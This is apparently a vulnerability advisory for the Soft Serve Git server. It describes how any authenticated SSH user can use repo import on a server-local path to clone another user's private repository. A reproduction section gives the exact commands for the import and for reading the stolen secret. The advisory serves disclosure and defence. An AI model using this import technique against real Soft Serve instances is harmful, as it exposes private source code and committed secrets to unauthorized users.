In Soft Serve, an authenticated repo import can clone server-local private repositories

Summary

An authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.

Details

Repo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from pkg/ssh/cmd/cmd.go:172, which calls pkg/backend/user.go:46. If the destination repo does not already exist, any authenticated user is granted ReadWriteAccess at pkg/backend/user.go:94.

The import command then passes the user-controlled REMOTE into pkg/backend/repo.go:102. In vulnerable HEAD, git.Clone(remote, rp, copts) is reached without validating that remote is actually a network remote. As a result, a user can supply a server filesystem path such as $DATA_PATH/repos/secret.git and cause the server to clone its own local bare repository into a new repo owned by the attacker.

The relevant vulnerable flow is:

• pkg/ssh/cmd/import.go
• pkg/ssh/cmd/cmd.go:172
• pkg/backend/user.go:94
• pkg/backend/repo.go:102

PoC

Configuration:

• Default local test configuration is sufficient.
• SSH must be enabled.
• At least two users are needed: one owner/admin and one low-privilege authenticated user.

Reproduction steps:

1. Start Soft Serve.
2. As an admin, create a private repo:

soft repo create secret -p

3. Create a second low-privilege user:

soft user create user1 --key "$USER1_AUTHORIZED_KEY"

4. Seed the private repo with secret content:

git clone ssh://localhost:$SSH_PORT/secret secret
echo 'top secret' > secret/SECRET.txt
git -C secret add SECRET.txt
git -C secret commit -m 'first'
git -C secret push origin HEAD

5. Confirm the low-privilege user cannot access the private repo directly:

usoft repo info secret

Expected result:

Error: repository not found

6. As the low-privilege user, import the server-local bare repo path into a new repo:

usoft repo import stolen "$DATA_PATH/repos/secret.git" --lfs-endpoint http://example.com

7. Clone the attacker-controlled imported repo and read the secret:

ugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone
cat stolen-clone/SECRET.txt

Expected result:

top secret

Notes:

• The --lfs-endpoint value is needed to avoid later LFS endpoint handling rejecting the local-path import.

Impact

This is an authorization bypass and confidentiality issue.

Any authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.

Impacted parties:

• Operators hosting Soft Serve for multiple users or teams
• Owners of private repositories on the same instance
• Any deployment where untrusted authenticated users can use repo import

Practical impact:

• Theft of private source code
• Disclosure of secrets committed to private repos
• Exposure of unreleased or internal projects
• Possible follow-on supply-chain risk if stolen code contains credentials or release material